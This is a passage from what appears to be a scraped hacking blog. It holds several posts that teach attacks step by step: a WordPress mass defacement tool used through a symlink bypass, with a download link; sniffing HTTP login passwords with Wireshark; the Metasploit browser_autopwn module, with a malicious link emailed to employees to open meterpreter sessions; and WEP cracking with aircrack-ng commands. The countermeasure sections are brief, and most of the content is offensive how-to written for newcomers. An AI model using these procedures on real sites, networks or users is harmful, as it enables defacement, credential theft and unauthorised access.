executable)<br /><br /> Update it by typing following command<br /><br />    ./nikto.pl -update<br /><br /> Now final step to scan webhost type following in termina<br /><br />   ./nikto.pl -host I.p</div>

How to scan web-server with Nikto?

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6...

+ Read more »

Wordpress Mass Defacement Tool

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiamojWq9oUtKbinoUY6X11q_QIxLhONc0EFVunzeHerKjyL-nRVcIiT5Y1vt-nJ3CGyzNGhzoKiOqmLm0aD9rfco3D3T9l56zXGssuDVh0VmFnBUDmcVWrXYXCpZ1OEGisI1OMDmejK_o/s1600/deface.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="254" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiamojWq9oUtKbinoUY6X11q_QIxLhONc0EFVunzeHerKjyL-nRVcIiT5Y1vt-nJ3CGyzNGhzoKiOqmLm0aD9rfco3D3T9l56zXGssuDVh0VmFnBUDmcVWrXYXCpZ1OEGisI1OMDmejK_o/s320/deface.jpg" width="320" /></a></div><br />Wordpress as being one the widely used CMS platform is one the favorite target of hackers now a days along with WHMCS, Instead of directly targeting wordpress fucntionalities and vulnerable plugins, it has been observed that the hackers are targeting a vulnerable website on the same server and using it they are able to bypass server restrictions in order to get the configuration file and hence hacking in to the wordpress. This method is commonly known as <a href="http://www.rafayhackingarticles.net/2012/01/hack-website-on-shared-host-symlink.html" target="_blank">Symlink Bypassing</a> in Black Hat World and server bypassing in White hat community.<br /><a name='more'></a>Now it's a difficult task for an attacker to manually connect to the database and then manually replace the index file of worpdress for a successful defacement. Therefore hackers use Mass defacers. These are tools used by hackers to change the index files of all the websites present on the server with their own defacement page, This usually happens when the hacker has root level access on the server.<br /><br />Recently, The admin of Team Root <b>"Mauritania Attacker"</b> mailed me his tool for the review, Which can be used by attackers to deface all the wordpress websites present on the same server.<br /><b><br /></b><b>How Does It Work?</b><br /><br />For this tool to work the only requirement would be that the server is vulnerable to symlink bypass, This tool will automatically symlink all the wordpress websites on the server and replace their indexes with the page you will provide (.html or .PHP).<br /><b><br /></b><b>How To Use It?</b><br /><b><br /></b>The usage is extremely simple and i really don't see purpose of creating a tutorial, however this blog is mostly read by newbies, So I will add some screen shots.<br /><br /><b>Requirements</b><br /><b><br /></b><b>1. </b>Shell On The Server<br /><b>2. </b>The shell should not be secured from <a href="http://www.rafayhackingarticles.net/2012/01/hack-website-on-shared-host-symlink.html" target="_blank">Symlink Bypassing</a>.<br /><b>3. </b><a href="http://www.mediafire.com/?csl88kbgs3jxxz3" rel="nofollow" target="_blank">Wordpress Mass Defacement Tool</a><br /><br />Once you have completed all the above requirements, Just upload the Mass Defacement tool to the webserver, it will look some thing like this, Now replace the contents of index url with your own defacement page.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnr519KsgUSeUyQB-n1NkWVBtghX1lStMkrVK-s92y5lQij6oCMMlgiJK859Ebh7a5AXqKCah4MirCXfhraJEQODS1xo0n1rV3CaKg_rXNn6VMrprJgXffJKyFnsMNtuvatWau9a5Ar7Q/s1600/screen1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnr519KsgUSeUyQB-n1NkWVBtghX1lStMkrVK-s92y5lQij6oCMMlgiJK859Ebh7a5AXqKCah4MirCXfhraJEQODS1xo0n1rV3CaKg_rXNn6VMrprJgXffJKyFnsMNtuvatWau9a5Ar7Q/s640/screen1.JPG" width="577" /></a></div><br />Next you will see the results for the websites, yo have been able to deface:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF3Bt8Xpy5zerLrxXB2aXO5wvvNcSpncDEWyV8nTsMamEFWEgRBTkFICqbVnAEhmX4-si2JLdSmnY-r5IXtvEDOfRRqRYfUcYKL8zjDRArUlg8ZdyCITSvRSaNahyphenhyphenNwccIfrd-JoUYKSQ/s1600/screen2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="382" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF3Bt8Xpy5zerLrxXB2aXO5wvvNcSpncDEWyV8nTsMamEFWEgRBTkFICqbVnAEhmX4-si2JLdSmnY-r5IXtvEDOfRRqRYfUcYKL8zjDRArUlg8ZdyCITSvRSaNahyphenhyphenNwccIfrd-JoUYKSQ/s640/screen2.JPG" width="577" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrd_9BVIuslvmPIDpVTF3M47NWq4J3lWTD_nfYwfhk1itmt4cFeIqLmPO51qSuPboKUJwJ36mm4Qi0RcbdEYV37QG8AKmBtTBjT7RKjle2VsREs2ZNOP-Tk1f7MNiLdYx_2AB5O_7XEmM/s1600/screen3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="60" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrd_9BVIuslvmPIDpVTF3M47NWq4J3lWTD_nfYwfhk1itmt4cFeIqLmPO51qSuPboKUJwJ36mm4Qi0RcbdEYV37QG8AKmBtTBjT7RKjle2VsREs2ZNOP-Tk1f7MNiLdYx_2AB5O_7XEmM/s640/screen3.JPG" width="577" /></a></div><br />And finally you can view the list of all the websites, you were able to deface:<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjil_TdV4roZ13lnmdfL_bSx2jOQbNcJdX7gdJugQVX7oUSnTkWACGkRARfsjkjFV_CIzDX9ZJGTkV3NaG5DpqjGP0hyphenhyphen6gNSeP8xMBqEdbhrxhyHTh0tiTKREm9wy8l6vfHhWIxOfJzZdE/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjil_TdV4roZ13lnmdfL_bSx2jOQbNcJdX7gdJugQVX7oUSnTkWACGkRARfsjkjFV_CIzDX9ZJGTkV3NaG5DpqjGP0hyphenhyphen6gNSeP8xMBqEdbhrxhyHTh0tiTKREm9wy8l6vfHhWIxOfJzZdE/s640/4.png" width="577" /></a></div><br /><b><br /></b><b>How To Protect Your Self?</b><br /><br />In order to protect your website from being defaced, All you need to do is to change the permissions of your index files to 400. So no one will be able to change them, however if an attacker has root level access on the server, there is no way of protecting your website, since the attacker can manually change the permissions. </div>

Wordpress Mass Defacement Tool

Wordpress as being one the widely used CMS platform is one the favorite target of hackers now a days along with WHMCS, Instead of directly t...

+ Read more »

How To Hack HTTP Passwords With Wireshark

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOB2tBLANKmRK5VrXbURtFIlfFLJvorIiFc0NmVRcgkt4oufVkX9805-bPiQAijv3Iy7XvuCBpPwy5L7AT1JifFL1WYKIhhkJkhyphenhyphenVGuq92ncTtDIAQbX-2cogAKsxX_GIObT_UR_Iw9D8/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOB2tBLANKmRK5VrXbURtFIlfFLJvorIiFc0NmVRcgkt4oufVkX9805-bPiQAijv3Iy7XvuCBpPwy5L7AT1JifFL1WYKIhhkJkhyphenhyphenVGuq92ncTtDIAQbX-2cogAKsxX_GIObT_UR_Iw9D8/s1600/images.jpg" /></a></div><br />Most of the websites on the Internet use<b> HTTP protocol</b> for comunication which runs on Port 80, The data send to the server is Un-encrpypted and goes in plain text. If you are using <b>HTTPS </b>(Port 443), The data will be send to the server encrypted. When ever you enter the data in a Form, Your browser either sends a POST Or Get Request to the webserver, In most cases you will see POST method used in forms. Now most of the websites on the internet use Http protocol for the authentication, which enables an attacker on the local area network to sniff every thing that goes through that form, That's the reason why you see websites like Paypal, Ebay, Gmail with https.<br /><br /><a name='more'></a><br />In this tutorial, I will show you <b>how a hacker can hack passwords</b> sent via http to the server with wireshark. Wireshark is a network analysis tool used to capture and analyze all the packets being send from your computer to the server.<br /><h4>Attack Scenario</h4>Let's suppose that you went to starbucks to have a coffee with your friend, You have connected to the wifi hotspot, An attacker comes in and starts wireshark and captures your HTTP Post passwords and therefore compromising your security.<br /><h4>How To Hack HTTP Passwords With Wireshark</h4>Before, you i show you how to hack http passwords, i would like to let you know that for a successful capture, your network card should be in Promiscuous mode, which will enable to capture all the traffic going through your network.<br /><b><br /></b><b>Step 1 - </b>First of all download wireshark from the official website and install it on your computer.<br /><br /><b>Step 2 -</b> Next open up wireshark click on analyze and click on interfaces at the top.<br /><img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8Eb6NAOzydt2tEOWw4eAkO9fGgNLCsxpnd6wWdQvq92d8CiXcl5VO9O8u8ysIyZ3ovNOJ1pOsqH97nY-6ak0IfyV1vqjwN2_sn87L5A3q4OJDbuZ1DgnKd9WD4z4BZ7_XOzdpf5hQOJo/s640/Untitled.png" style="background-color: white; border-width: 0px; color: #a46f38; font-family: Verdana; font-size: 12px; line-height: 19.200000762939453px; padding: 10px; text-align: center;" width="577" /><br /><br /><b>Step 3 -</b> Next choose the appropriate interface and click on start. Wireshark would start sniffing the network.<br /><br /><b>Step 4 - </b>Continue sniffing for around 10 minutes. Step 5 - After 10minutes stop the packet sniffing by going to the capture menu and clicking on Stop.<br /><br />In the mean time, Log into any website (For Testing Purposes), having http Authentication.<br /><br /><b>Step 6 -</b> Next set the filter to <b>http.request.method == "POST", </b>This will enable it to capture all the HTTP Post request going through your computer. Start analyzing the packets and locate the website in which you logged in having http authentication.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglttVRE0XRReXfX5ucAlI7jMXSbWBJYdCk7GxmeevYqUPdspZo2JagrKSdWohNnK6kb19UFpMmSVZJ74Dr0h2ElaXpkUZTbbjgni373uD09nDTbQuPcLhbGBZ5M4P6cDOIJZBJG7kvfJc/s1600/new.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="420" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglttVRE0XRReXfX5ucAlI7jMXSbWBJYdCk7GxmeevYqUPdspZo2JagrKSdWohNnK6kb19UFpMmSVZJ74Dr0h2ElaXpkUZTbbjgni373uD09nDTbQuPcLhbGBZ5M4P6cDOIJZBJG7kvfJc/s640/new.png" width="577" /></a></div><br /><br />Step 7 - Next click on Follow TCP stream. You will see the username and password that you entered. In this particular senario i logged in my wordpress account, where i entered the <b>username:admin</b> and <b>password:rafayhackingarticles</b>, Since wordpress uses http for authentication, The data that was entered was successfully captured.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPq7Dfp4LuUXvcbpk0F8gVOpz_vDKnzQjtKeELijXwoiXurZKbrYP8mMDqThR4vOPPgCVJQLeGMkOi9YwIiRq91o2G2hQ0si_hYEyU5gQBeS-Yn4sbyT1pPFZw2wNZnp18GTWPWGfVVgA/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="362" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPq7Dfp4LuUXvcbpk0F8gVOpz_vDKnzQjtKeELijXwoiXurZKbrYP8mMDqThR4vOPPgCVJQLeGMkOi9YwIiRq91o2G2hQ0si_hYEyU5gQBeS-Yn4sbyT1pPFZw2wNZnp18GTWPWGfVVgA/s640/Untitled.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b>Countermeasures</b></div><br />The best countermeasure would be to use a VPN, so that all the traffic would be encrpyted.<br /><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b>You Might Also like:</b></div><div class="separator" style="clear: both; text-align: left;"></div><ul style="text-align: left;"><li><b><a href="http://www.rafayhackingarticles.net/2012/10/hack-facebook-account-with-arp-poisoning.html" target="_blank">Hack A Facebook Password With ARP Posinoning</a></b></li></ul></div>

How To Hack HTTP Passwords With Wireshark

Most of the websites on the Internet use HTTP protocol for comunication which runs on Port 80, The data send to the server is Un-encrpypte...

+ Read more »

how to Browser Autopwn attack in metasploit?

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">In this article we will examine the effectiveness of metasploit browser autopwn module.The basic idea behind that module is that it creates a web server in our local machine which will contain different kind of browser exploits.When the user will open the malicious link then the execution of the exploits will start against the browser of the user and if one of the exploits is successful a meterpreter session will open. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">In order to use this attack we have to open the metasploit framework and to use the browser_autopwn module.In the next image you can see the available options and default settings for this module. </span></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKPe-psk1sMcEI9KUAEvTmSGgginsUYbSZSRJuk65WakQi2PmvZtX9k8qNpW0PWz0c_oqs2Vjc9HYNNMOC2LE2tV0rE3vxWpJu35bHi3Ft0yvBdEvzo-4AU2HwIsbyki_Z5aHuawva6doI/s1600/129.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="metasploit-autopwn" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKPe-psk1sMcEI9KUAEvTmSGgginsUYbSZSRJuk65WakQi2PmvZtX9k8qNpW0PWz0c_oqs2Vjc9HYNNMOC2LE2tV0rE3vxWpJu35bHi3Ft0yvBdEvzo-4AU2HwIsbyki_Z5aHuawva6doI/s1600/129.png" title="metasploit-autopwn" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><a name='more'></a><br /><div class="separator" style="clear: both; text-align: center;"></div><div style="margin-bottom: 0in;"><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">We will set up the LHOST with our IP address,the SRVPORT with the port 80 (otherwise the link that we have to send to the user must me in the format IP:8080) and the URIPATH with / in order to prevent metasploit to set up random URL’s.</span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjla7HQy3E5TTXiIlXLWOcy3Xr9LK0iZFjbIBW4Sg3kIaifQ_7g44dcRp3Bch44Hr6J5Pmkxlx3_gqh78fNItQ1x4LBaogxGe2VQ7XHjm85P4dFetjulJSaTD2dJCvx9mULNkzqhBpMxCuN/s1600/216.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="metasploit-autopwn" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjla7HQy3E5TTXiIlXLWOcy3Xr9LK0iZFjbIBW4Sg3kIaifQ_7g44dcRp3Bch44Hr6J5Pmkxlx3_gqh78fNItQ1x4LBaogxGe2VQ7XHjm85P4dFetjulJSaTD2dJCvx9mULNkzqhBpMxCuN/s1600/216.png" title="metasploit-autopwn-1" /></a></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">After the execution of this module we will notice that different exploits for a variety of browsers will start loading to our web server. </span></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-QSCAHUtyjnCATCCXnkYxKWAqkJirTGx-PRk0dkc_8pXg6WHIJUEIOoBbKJMSG-TV1qohDvSwb0CIguXZ2Pge8xnLw2Qoq9hRwvKUHz7pQA2xuDWKJufelyOzr6ePFS6yOqpKk_FT_spt/s1600/410.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="metasploit-autopwn" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-QSCAHUtyjnCATCCXnkYxKWAqkJirTGx-PRk0dkc_8pXg6WHIJUEIOoBbKJMSG-TV1qohDvSwb0CIguXZ2Pge8xnLw2Qoq9hRwvKUHz7pQA2xuDWKJufelyOzr6ePFS6yOqpKk_FT_spt/s1600/410.png" title="metasploit-autopwn-2" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Now we can share the link through our email to our client employees.If any user opens the malicious link,the autopwn module will try all these exploits in order to see if it can break into the client.If the browser is vulnerable to any of these exploits meterpreter sessions will open. </span></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN8B0O5w4TdomH1f-OaA8FF_6i5aUzwCWpy99apziusEX6oAOHtWKklUPWQJHJV6X1YB7xCv9ggjaTKM8DMeUFPxDSOYVUeff3FJCSo8SYyyhtGU3Uq0KqYluxAqoYiMjp2xGoFtc8J5C_/s1600/39.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="metasploit-autopwn" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN8B0O5w4TdomH1f-OaA8FF_6i5aUzwCWpy99apziusEX6oAOHtWKklUPWQJHJV6X1YB7xCv9ggjaTKM8DMeUFPxDSOYVUeff3FJCSo8SYyyhtGU3Uq0KqYluxAqoYiMjp2xGoFtc8J5C_/s1600/39.png" title="metasploit-autopwn-3" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Browser based attacks are not stable.This is because browsers can crash which means that the meterpreter session or the shell access will lost.For that reason the metasploit will try to migrate with a another process more stable as soon as possible.</span></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuUCJPeyEwovlz5J_2cW81ToNndLlK5wZxS8tUGMeUPvHceWFBTFeRElgaKMFZNuS1m6LRMUyJ_BVtg8-6VoJj9crpzJsidT1H8TDN6CpRQJPW7T-gV65EAxhCEvXRZByRiEZVUx5o2mMc/s1600/67.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="metasploit-autopwn" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuUCJPeyEwovlz5J_2cW81ToNndLlK5wZxS8tUGMeUPvHceWFBTFeRElgaKMFZNuS1m6LRMUyJ_BVtg8-6VoJj9crpzJsidT1H8TDN6CpRQJPW7T-gV65EAxhCEvXRZByRiEZVUx5o2mMc/s1600/67.png" title="metasploit-autopwn-5" /></a></div></div>

how to Browser Autopwn attack in metasploit?

In this article we will examine the effectiveness of metasploit browser autopwn module.The basic idea behind that module is that it creates ...

+ Read more »

How to crack wi-fi password in ubuntu?

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">For this purpose we are going to use Ubuntu. First we have to install air-crack program in o.s</span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(1)install aircrack</span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">sudo apt-get install aircrack-ng </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(2) You need to go in root first. For this purpose type “su –“ and type your password. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(3)now type following command in terminal</span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Code: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"># iwconfig wlan0 mode monitoring </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Note: If some sort of error occurs type “# iwconfig” in a terminal to check for your wireless. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(4)After that it’s time to scan for a wireless network which we will compromise with educational purpose. This time we will use the command: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Code: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"># airodump-ng wlan0 </span></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirM4FuPXfBBR-YW6oh4KtxWngTxK8HJSr5kSE1FCNtONDizkIwuhftKn3TqH12l3c75gSMV8PVi7OtFzxYlrCpjRC9PnJQ5iSf8IuyiURBsvhbq44wx-FlHLkTxOZB3iKvw12rXYnyHetl/s1600/be11f84f0e27d568.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="crack-wi-fi-password-in-ubuntu" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirM4FuPXfBBR-YW6oh4KtxWngTxK8HJSr5kSE1FCNtONDizkIwuhftKn3TqH12l3c75gSMV8PVi7OtFzxYlrCpjRC9PnJQ5iSf8IuyiURBsvhbq44wx-FlHLkTxOZB3iKvw12rXYnyHetl/s1600/be11f84f0e27d568.jpg" title="crack-wi-fi-password-in-ubuntu" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><a name='more'></a><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(5)Once you’ve found one, abort the process with Ctrl+C. Now when we have got our target it’s time to collect some information about the network. First of all copy the MAC Address of the access point which stands for BSSID (should look something like 00:15:EB:E7: …). Another thing is that we need to know the channel it’s currently working on (could see that under CH – e.g. 6). So let’s gather our information with airodump-ng. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Code: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"># airodump-ng –w wep –c 6 –bssid 00:15:EB:E7: … wlan0 </span></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLkTFEiJ6oFocu0T62IV9aDwCyvRMKQr2JoSVdOQze8Alai-R2F1IGabkGZMeceULwGuRtKpIVSyolhdOBONPHzBV-AXtouvdQZEgROyo7tY8xx8_Ji9ZbQXY68JTFZ2f8R_LFAylIEA9E/s1600/8875fd4ff599432c.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="crack-wi-fi-password-in-ubuntu" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLkTFEiJ6oFocu0T62IV9aDwCyvRMKQr2JoSVdOQze8Alai-R2F1IGabkGZMeceULwGuRtKpIVSyolhdOBONPHzBV-AXtouvdQZEgROyo7tY8xx8_Ji9ZbQXY68JTFZ2f8R_LFAylIEA9E/s1600/8875fd4ff599432c.jpg" title="crack-wi-fi-password-in-ubuntu-2" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(6)Now we need to open another terminal in which we will use ARP Reply attack to increase the amount of data packets and gather the initializing vectors or IV of the earlier chosen Access Point. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Code: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"># aireplay-ng -3 –b 00:15:EB:E7: … wlan0 </span></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKASYu-HCotZWJ3iI9DetjnkS74ao2ecfzN15dRfdVswZW3fVi3Xp_h_rIdLi0uEx1bXXN2y4Spjw3h8MKd0FJpA72ZhJlPJI0WJtRyezKO0_IgdOPi990myC3A6-K8HLN7Y_QKn8P3nfx/s1600/b15c84ed10ebe1ee.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="crack-wi-fi-password-in-ubuntu" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKASYu-HCotZWJ3iI9DetjnkS74ao2ecfzN15dRfdVswZW3fVi3Xp_h_rIdLi0uEx1bXXN2y4Spjw3h8MKd0FJpA72ZhJlPJI0WJtRyezKO0_IgdOPi990myC3A6-K8HLN7Y_QKn8P3nfx/s1600/b15c84ed10ebe1ee.jpg" title="crack-wi-fi-password-in-ubuntu-3" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(7)Let’s go to terminal 1 again and have a look at the data packets. We need to have collected over 20 000 packets. If so abort both airodump-ng and aireplay-ng. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Now we have everything required to decode the key of the wireless network. We do that with aircrack as shown below: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Code: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"># aircrack-ng wep-03.cap </span></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1H3Cl11kMgJDJPpxMW6oSS-CxU7p3Gg3BVsi1PKMYOS0fCwwNBiW5YyfsoUifp08UtKI5Bez00LE5gztAgp3fxAANsX0acdaezeABQGQ3yHn8H5fLByKzFtJS3Up2VRK-7FDNDqmjhg9d/s1600/537f3d09952d7c01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="crack-wi-fi-password-in-ubuntu" border="0" 